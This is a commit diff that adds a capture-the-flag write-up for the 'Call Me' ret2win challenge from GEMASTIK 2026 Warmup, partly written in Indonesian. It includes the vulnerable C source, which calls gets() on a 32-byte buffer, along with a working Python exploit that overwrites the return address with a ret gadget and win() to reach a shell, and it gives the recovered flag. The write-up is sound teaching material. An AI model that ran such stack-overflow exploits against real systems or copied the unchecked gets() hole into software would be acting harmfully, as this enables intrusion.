docs: replace dummy docs with GEMASTIK 2026 Warmup writeups (ch1-14)

- Deleted all previous dummy docs (defcon-quals-2024, infra/cloudflare-525, debugging/websocket-timeout, template, docs/*, notes/*, research/*)
- Added 14 Gemastik warmup writeups covering encoding, stego, web, pwn, crypto
- ch13: RSA small factors; ch14: RSA special integers via paper-search (GCD with paper appendix primes)
- All flags recovered and documented with solution methods

content/writeups/gemastik-2026-warmup/ch10-call-me.md

@@ -0,0 +1,55 @@
+---
+title: "Call Me — ret2win"
+event: "GEMASTIK 2026 Warmup"
+challenge: "Call Me"
+category: "pwn"
+points: 500
+difficulty: "easy"
+flag: "GEMASTIK19{r3t2w1n_l0mpat_k3_win}"
+---
+
+# Call Me (500 pts) — Pwn / ret2win
+
+**Server:** `nc 15.232.89.109 9002`
+
+**Source (`chall.c`):**
+
+```c
+void win() { system("/bin/sh"); }  // flag printed inside
+
+char buf[32];
+gets(buf);                          // <-- overflow
+```
+
+## Eksploitasi
+
+1. Compile lokal untuk dapatkan alamat `win()`:
+```bash
+gcc -fno-stack-protector -no-pie -o ch10 chall.c
+nm ch10 | grep win
+# 00000000004011f6 T win
+```
+
+2. Overflow `buf[32]` lalu timpa return address dengan alamat `win()` (0x4011f6).
+   Sisipkan satu `ret` gadget (0x401016) untuk realign RSP agar `movaps` di `win`/`printf` tidak segfault:
+
+```python
+import socket, time, struct
+
+s = socket.socket()
+s.connect(("15.232.89.109", 9002))
+time.sleep(0.5)
+
+RET_GADGET = 0x401016   # alignment
+WIN_ADDR = 0x4011f6
+
+payload = b"A" * 32 + b"B" * 8 + struct.pack("<Q", RET_GADGET) + struct.pack("<Q", WIN_ADDR)
+s.sendall(payload + b"\n")
+time.sleep(1.5)
+print(s.recv(4096).decode())
+# -> GEMASTIK19{r3t2w1n_l0mpat_k3_win}
+```
+
+## Flag
+
+`GEMASTIK19{r3t2w1n_l0mpat_k3_win}`